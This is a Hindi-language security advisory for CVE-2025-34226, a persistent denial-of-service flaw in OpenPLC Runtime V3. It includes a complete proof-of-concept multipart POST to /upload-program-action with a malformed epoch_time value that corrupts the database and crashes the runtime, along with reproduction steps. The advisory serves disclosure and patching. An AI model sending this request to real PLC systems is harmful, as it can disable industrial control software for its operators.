
OpenPLC Runtime को /upload-program-action एंडपॉइंट में एक स्थायी सेवा अस्वीकार (DoS) भेद्यता का सामना करना पड़ता है।
| क्षेत्र | मान |
|---|---|
| CVE आईडी | CVE-2025-34226 |
| प्रभावित करता है | OpenPLC रनटाइम V3 |
| इसमें ठीक किया गया | (कमिट) 095ee09623dd229b64ad3a1db38a901a3772f6fc |
| गंभीरता | उच्च |
| CVSS 4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (उच्च) |
| CWE | CWE-664 संसाधन के जीवनकाल के माध्यम से अनुचित नियंत्रण, CWE-20 अनुचित इनपुट सत्यापन |
OpenPLC रनटाइम /upload-program-action एंडपॉइंट में लगातार सेवा अस्वीकार (DoS) भेद्यता से ग्रस्त है।
प्रोग्राम अपलोड के दौरान epoch_time पैरामीटर को संशोधित करके, एक निम्न-विशेषाधिकार प्रमाणित उपयोगकर्ता बैकएंड डेटाबेस को भ्रष्ट कर सकता है।
यह भ्रष्टाचार शुरू में महत्वपूर्ण पृष्ठों को अक्षम करता है और अंततः पूरे रनटाइम को शुरू होने से रोकता है, प्रभावी रूप से एप्लिकेशन को तब तक अनुपयोगी बना देता है जब तक इसे पुनः स्थापित नहीं किया जाता।
/upload-program-action एंडपॉइट एक फ़ील्ड epoch_time स्वीकार करता है जो बिना सत्यापन के सीधे डेटाबेस में लिखा जाता है।
जब इस फ़ील्ड को एक क्राफ्टेड या अर्थहीन मान (जैसे 1758627838 या विकृत डेटा) पर सेट किया जाता है, तो OpenPLC एक असंगत स्थिति संग्रहीत करता है।
रनटाइम पुनः लोड या रिबूट पर, एप्लिकेशन भ्रष्ट पंक्ति को क्वेरी करता है और एक NoneType ऑब्जेक्ट → घातक क्रैश (TypeError: 'NoneType' object is not subscriptable) का सामना करता है।
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]
------BOUNDARY
Content-Disposition: form-data; name="prog_name"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"
test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain
PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"
"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--
/programs के माध्यम से एक प्रोग्राम अपलोड करें/programs का निरीक्षण करें और आप देखेंगे कि यह अब काम नहीं कर रहा है।द्वारा खोजा गया: Eyodav